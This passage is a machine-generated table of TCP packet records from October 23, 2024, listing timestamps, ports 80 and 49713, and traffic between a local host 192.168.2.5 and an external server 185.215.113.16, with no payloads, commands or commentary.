Oct 23, 2024 15:48:22.749450922 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.749485970 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.749552965 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.749563932 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.805768013 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.999080896 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.004430056 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.273566961 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.273597002 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.273611069 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.273637056 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.273672104 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.273686886 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.273705006 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.273710012 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.273725033 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.273740053 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.273757935 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.273762941 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.273778915 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.273781061 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.273793936 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.273808956 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.273812056 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.273830891 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.273834944 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.273848057 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.273860931 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.273878098 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.273881912 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.273897886 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.273910999 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.273912907 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.273931980 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.273946047 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.273962975 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.273971081 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.273983002 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.273987055 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.274034023 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.274043083 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.274070978 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.274095058 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.274101973 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.274116993 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.274135113 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.274163961 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.274189949 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.274204969 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.274218082 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.274231911 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.274233103 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.274247885 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.274293900 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.274310112 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.274326086 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.274346113 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.274365902 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.274367094 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.274383068 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.274398088 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.274413109 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.274415970 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.274435043 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.274441957 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.274450064 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.274471998 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.274472952 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.274488926 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.274502993 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.274514914 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.274519920 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.274535894 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.274540901 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.274569988 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.275094986 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275110006 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275125980 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275146008 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.275235891 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275250912 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275266886 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275281906 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275281906 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.275299072 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275320053 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.275325060 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275338888 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.275352001 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275365114 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275378942 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275383949 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.275396109 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275405884 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.275412083 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275428057 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275441885 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275449991 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.275458097 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275470972 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275475979 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.275486946 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275501966 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275504112 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.275536060 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.275640965 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275656939 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275672913 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275692940 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.275695086 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275711060 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275726080 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275726080 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.275742054 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275768995 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.275849104 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275862932 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275877953 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275893927 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275902033 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.275911093 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275914907 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.275926113 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275939941 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.275949955 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275964975 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275981903 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.275985003 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.275995970 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.276010036 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.276019096 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.276031971 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.276046991 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.276057005 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.276062012 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.276077986 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.276077986 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.276093960 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.276108980 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.276110888 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.276124001 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.276139021 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.276154041 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.276175976 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.277332067 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.389276981 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.389349937 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.389395952 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.389425993 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.389483929 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.389535904 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.389569998 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.389578104 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.389605045 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.389607906 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.389653921 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.389699936 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.389736891 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.389750004 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.389786005 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.389801979 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.389836073 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.389885902 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.389919996 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.389920950 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.389955044 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.389971972 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390007973 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390042067 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390074968 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.390074968 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390109062 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.390110016 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390144110 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390192032 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390225887 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.390239954 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390274048 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.390275002 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390307903 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390341043 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390368938 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.390374899 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390408993 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390409946 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.390443087 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390475035 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390475988 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.390508890 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390542984 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390543938 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.390629053 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390661955 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390705109 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.390710115 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390744925 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390744925 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.390778065 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390811920 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390844107 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390845060 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.390877008 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.390877962 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390911102 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390944004 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390975952 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.390978098 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.391009092 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.391009092 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.391041994 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.391074896 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.391107082 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.391108036 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.391140938 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.391140938 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.391175985 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.391208887 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.391242981 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.391242981 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.391275883 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.391278028 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.391331911 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.391366959 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.391401052 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.391402006 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.391436100 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.398618937 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.398653030 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.398686886 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.398725033 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.406507969 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.406548023 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.406558990 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.406594992 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.406629086 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.406661987 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.406666994 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.406697989 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.406711102 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.406745911 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.406778097 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.406811953 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.406815052 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.406847000 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.406860113 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.406893015 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.406927109 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.406960011 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.406961918 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.406992912 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.406995058 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.407027006 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407059908 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407092094 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407094955 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.407128096 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.407140970 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407174110 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407207012 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407238007 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407242060 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.407282114 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.407289028 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407341957 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407373905 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407407045 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407408953 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.407440901 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407442093 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.407476902 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407509089 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407541990 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407542944 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.407573938 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407577038 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.407607079 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407655954 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407655954 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.407691002 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407722950 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407743931 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.407756090 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407788038 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407819986 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407821894 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.407852888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407855034 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.407886028 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407932997 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407965899 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.407968998 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.408045053 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408058882 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.408078909 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408111095 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408149004 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.408162117 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408195019 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408201933 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.408229113 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408261061 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408293962 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408304930 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.408328056 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408333063 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.408361912 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408390999 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408425093 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408431053 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.408457994 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408461094 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.408489943 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408523083 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408556938 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408560991 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.408590078 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408600092 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.408623934 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408657074 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408689022 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408694983 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.408723116 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408726931 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.408756971 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408788919 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408821106 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408828974 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.408854008 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408873081 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.408885956 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408919096 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.408936977 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.408951044 CEST	80	49713	185.215.113.16	192.168.2.5
